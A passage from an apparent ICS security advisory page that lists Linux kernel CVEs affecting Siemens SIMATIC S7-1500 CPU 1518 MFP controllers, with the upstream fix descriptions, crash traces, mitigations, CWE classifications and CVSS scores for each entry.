<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/367.html">CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68264</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: refresh inline data size before write operations The cached ei-&gt;i_inline_size can become stale between the initial size check and when ext4_update_inline_data()/ext4_create_inline_data() use it. Although ext4_get_max_inline_size() reads the correct value at the time of the check, concurrent xattr operations can modify i_inline_size before ext4_write_lock_xattr() is acquired. This causes ext4_update_inline_data() and ext4_create_inline_data() to work with stale capacity values, leading to a BUG_ON() crash in ext4_write_inline_data(): kernel BUG at fs/ext4/inline.c:1331! BUG_ON(pos + len &gt; EXT4_I(inode)-&gt;i_inline_size); The race window: 1. ext4_get_max_inline_size() reads i_inline_size = 60 (correct) 2. Size check passes for 50-byte write 3. [Another thread adds xattr, i_inline_size changes to 40] 4. ext4_write_lock_xattr() acquires lock 5. ext4_update_inline_data() uses stale i_inline_size = 60 6. Attempts to write 50 bytes but only 40 bytes actually available 7. BUG_ON() triggers Fix this by recalculating i_inline_size via ext4_find_inline_data_nolock() immediately after acquiring xattr_sem. This ensures ext4_update_inline_data() and ext4_create_inline_data() work with current values that are protected from concurrent modifications. This is similar to commit a54c4613dac1 ("ext4: fix race writing to an inline_data file while its xattrs are changing") which fixed i_inline_off staleness. This patch addresses the related i_inline_size staleness issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68264">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68265</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nvme: fix admin request_queue lifetime The namespaces can access the controller's admin request_queue, and stale references on the namespaces may exist after tearing down the controller. Ensure the admin request_queue is active by moving the controller's 'put' to after all controller references have been released to ensure no one is can access the request_queue. This fixes a reported use-after-free bug: BUG: KASAN: slab-use-after-free in blk_queue_enter+0x41c/0x4a0 Read of size 8 at addr ffff88c0a53819f8 by task nvme/3287 CPU: 67 UID: 0 PID: 3287 Comm: nvme Tainted: G E 6.13.2-ga1582f1a031e #15 Tainted: [E]=UNSIGNED_MODULE Hardware name: Jabil /EGS 2S MB1, BIOS 1.00 06/18/2025 Call Trace: dump_stack_lvl+0x4f/0x60 print_report+0xc4/0x620 ? _raw_spin_lock_irqsave+0x70/0xb0 ? _raw_read_unlock_irqrestore+0x30/0x30 ? blk_queue_enter+0x41c/0x4a0 kasan_report+0xab/0xe0 ? blk_queue_enter+0x41c/0x4a0 blk_queue_enter+0x41c/0x4a0 ? __irq_work_queue_local+0x75/0x1d0 ? blk_queue_start_drain+0x70/0x70 ? irq_work_queue+0x18/0x20 ? vprintk_emit.part.0+0x1cc/0x350 ? wake_up_klogd_work_func+0x60/0x60 blk_mq_alloc_request+0x2b7/0x6b0 ? __blk_mq_alloc_requests+0x1060/0x1060 ? __switch_to+0x5b7/0x1060 nvme_submit_user_cmd+0xa9/0x330 nvme_user_cmd.isra.0+0x240/0x3f0 ? force_sigsegv+0xe0/0xe0 ? nvme_user_cmd64+0x400/0x400 ? vfs_fileattr_set+0x9b0/0x9b0 ? cgroup_update_frozen_flag+0x24/0x1c0 ? cgroup_leave_frozen+0x204/0x330 ? nvme_ioctl+0x7c/0x2c0 blkdev_ioctl+0x1a8/0x4d0 ? blkdev_common_ioctl+0x1930/0x1930 ? fdget+0x54/0x380 __x64_sys_ioctl+0x129/0x190 do_syscall_64+0x5b/0x160 entry_SYSCALL_64_after_hwframe+0x4b/0x53 RIP: 0033:0x7f765f703b0b Code: ff ff ff 85 c0 79 9b 49 c7 c4 ff ff ff ff 5b 5d 4c 89 e0 41 5c c3 66 0f 1f 84 00 00 00 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 8b 0d dd 52 0f 00 f7 d8 64 89 01 48 RSP: 002b:00007ffe2cefe808 EFLAGS: 00000202 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 00007ffe2cefe860 RCX: 00007f765f703b0b RDX: 00007ffe2cefe860 RSI: 00000000c0484e41 RDI: 0000000000000003 RBP: 0000000000000000 R08: 0000000000000003 R09: 0000000000000000 R10: 00007f765f611d50 R11: 0000000000000202 R12: 0000000000000003 R13: 00000000c0484e41 R14: 0000000000000001 R15: 00007ffe2cefea60</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68265">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68266</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bfs: Reconstruct file type when loading from disk syzbot is reporting that S_IFMT bits of inode-&gt;i_mode can become bogus when the S_IFMT bits of the 32bits "mode" field loaded from disk are corrupted or when the 32bits "attributes" field loaded from disk are corrupted. A documentation says that BFS uses only lower 9 bits of the "mode" field. But I can't find an explicit explanation that the unused upper 23 bits (especially, the S_IFMT bits) are initialized with 0. Therefore, ignore the S_IFMT bits of the "mode" field loaded from disk. Also, verify that the value of the "attributes" field loaded from disk is either BFS_VREG or BFS_VDIR (because BFS supports only regular files and the root directory).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68266">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68291</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: Initialise rcv_mss before calling tcp_send_active_reset() in mptcp_do_fastclose(). syzbot reported divide-by-zero in __tcp_select_window() by MPTCP socket. [0] We had a similar issue for the bare TCP and fixed in commit 499350a5a6e7 ("tcp: initialize rcv_mss to TCP_MIN_MSS instead of 0"). Let's apply the same fix to mptcp_do_fastclose(). [0]: Oops: divide error: 0000 [#1] SMP KASAN PTI CPU: 0 UID: 0 PID: 6068 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025 RIP: 0010:__tcp_select_window+0x824/0x1320 net/ipv4/tcp_output.c:3336 Code: ff ff ff 44 89 f1 d3 e0 89 c1 f7 d1 41 01 cc 41 21 c4 e9 a9 00 00 00 e8 ca 49 01 f8 e9 9c 00 00 00 e8 c0 49 01 f8 44 89 e0 99 7c 24 1c 41 29 d4 48 bb 00 00 00 00 00 fc ff df e9 80 00 00 00 RSP: 0018:ffffc90003017640 EFLAGS: 00010293 RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffff88807b469e40 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffc90003017730 R08: ffff888033268143 R09: 1ffff1100664d028 R10: dffffc0000000000 R11: ffffed100664d029 R12: 0000000000000000 R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 FS: 000055557faa0500(0000) GS:ffff888126135000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f64a1912ff8 CR3: 0000000072122000 CR4: 00000000003526f0 Call Trace: tcp_select_window net/ipv4/tcp_output.c:281 [inline] __tcp_transmit_skb+0xbc7/0x3aa0 net/ipv4/tcp_output.c:1568 tcp_transmit_skb net/ipv4/tcp_output.c:1649 [inline] tcp_send_active_reset+0x2d1/0x5b0 net/ipv4/tcp_output.c:3836 mptcp_do_fastclose+0x27e/0x380 net/mptcp/protocol.c:2793 mptcp_disconnect+0x238/0x710 net/mptcp/protocol.c:3253 mptcp_sendmsg_fastopen+0x2f8/0x580 net/mptcp/protocol.c:1776 mptcp_sendmsg+0x1774/0x1980 net/mptcp/protocol.c:1855 sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg+0xe5/0x270 net/socket.c:742 __sys_sendto+0x3bd/0x520 net/socket.c:2244 __do_sys_sendto net/socket.c:2251 [inline] __se_sys_sendto net/socket.c:2247 [inline] __x64_sys_sendto+0xde/0x100 net/socket.c:2247 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0xfa0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f66e998f749 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffff9acedb8 EFLAGS: 00000246 ORIG_RAX: 000000000000002c RAX: ffffffffffffffda RBX: 00007f66e9be5fa0 RCX: 00007f66e998f749 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003 RBP: 00007ffff9acee10 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001 R13: 00007f66e9be5fa0 R14: 00007f66e9be5fa0 R15: 0000000000000006</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68291">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/909.html">CWE-909 Missing Initialization of Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68337</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: jbd2: avoid bug_on in jbd2_journal_get_create_access() when file system corrupted There's issue when file system corrupted: ------------[ cut here ]------------ kernel BUG at fs/jbd2/transaction.c:1289! Oops: invalid opcode: 0000 [#1] SMP KASAN PTI CPU: 5 UID: 0 PID: 2031 Comm: mkdir Not tainted 6.18.0-rc1-next RIP: 0010:jbd2_journal_get_create_access+0x3b6/0x4d0 RSP: 0018:ffff888117aafa30 EFLAGS: 00010202 RAX: 0000000000000000 RBX: ffff88811a86b000 RCX: ffffffff89a63534 RDX: 1ffff110200ec602 RSI: 0000000000000004 RDI: ffff888100763010 RBP: ffff888100763000 R08: 0000000000000001 R09: ffff888100763028 R10: 0000000000000003 R11: 0000000000000000 R12: 0000000000000000 R13: ffff88812c432000 R14: ffff88812c608000 R15: ffff888120bfc000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f91d6970c99 CR3: 00000001159c4000 CR4: 00000000000006f0 Call Trace: __ext4_journal_get_create_access+0x42/0x170 ext4_getblk+0x319/0x6f0 ext4_bread+0x11/0x100 ext4_append+0x1e6/0x4a0 ext4_init_new_dir+0x145/0x1d0 ext4_mkdir+0x326/0x920 vfs_mkdir+0x45c/0x740 do_mkdirat+0x234/0x2f0 __x64_sys_mkdir+0xd6/0x120 do_syscall_64+0x5f/0xfa0 entry_SYSCALL_64_after_hwframe+0x76/0x7e The above issue occurs with us in errors=continue mode when accompanied by storage failures. There have been many inconsistencies in the file system data. In the case of file system data inconsistency, for example, if the block bitmap of a referenced block is not set, it can lead to the situation where a block being committed is allocated and used again. As a result, the following condition will not be satisfied then trigger BUG_ON. Of course, it is entirely possible to construct a problematic image that can trigger this BUG_ON through specific operations. In fact, I have constructed such an image and easily reproduced this issue. Therefore, J_ASSERT() holds true only under ideal conditions, but it may not necessarily be satisfied in exceptional scenarios. Using J_ASSERT() directly in abnormal situations would cause the system to crash, which is clearly not what we want. So here we directly trigger a JBD abort instead of immediately invoking BUG_ON.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68337">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68349</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFSv4/pNFS: Clear NFS_INO_LAYOUTCOMMIT in pnfs_mark_layout_stateid_invalid Fixes a crash when layout is null during this call stack: write_inode -&gt; nfs4_write_inode -&gt; pnfs_layoutcommit_inode pnfs_set_layoutcommit relies on the lseg refcount to keep the layout around. Need to clear NFS_INO_LAYOUTCOMMIT otherwise we might attempt to reference a null layout.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68349">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68363</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Check skb-&gt;transport_header is set in bpf_skb_check_mtu The bpf_skb_check_mtu helper needs to use skb-&gt;transport_header when the BPF_MTU_CHK_SEGS flag is used: bpf_skb_check_mtu(skb, ifindex, &amp;mtu_len, 0, BPF_MTU_CHK_SEGS) The transport_header is not always set. There is a WARN_ON_ONCE report when CONFIG_DEBUG_NET is enabled + skb-&gt;gso_size is set + bpf_prog_test_run is used: WARNING: CPU: 1 PID: 2216 at ./include/linux/skbuff.h:3071 skb_gso_validate_network_len bpf_skb_check_mtu bpf_prog_3920e25740a41171_tc_chk_segs_flag # A test in the next patch bpf_test_run bpf_prog_test_run_skb For a normal ingress skb (not test_run), skb_reset_transport_header is performed but there is plan to avoid setting it as described in commit 2170a1f09148 ("net: no longer reset transport_header in __netif_receive_skb_core()"). This patch fixes the bpf helper by checking skb_transport_header_was_set(). The check is done just before skb-&gt;transport_header is used, to avoid breaking the existing bpf prog. The WARN_ON_ONCE is limited to bpf_prog_test_run, so targeting bpf-next.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68363">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
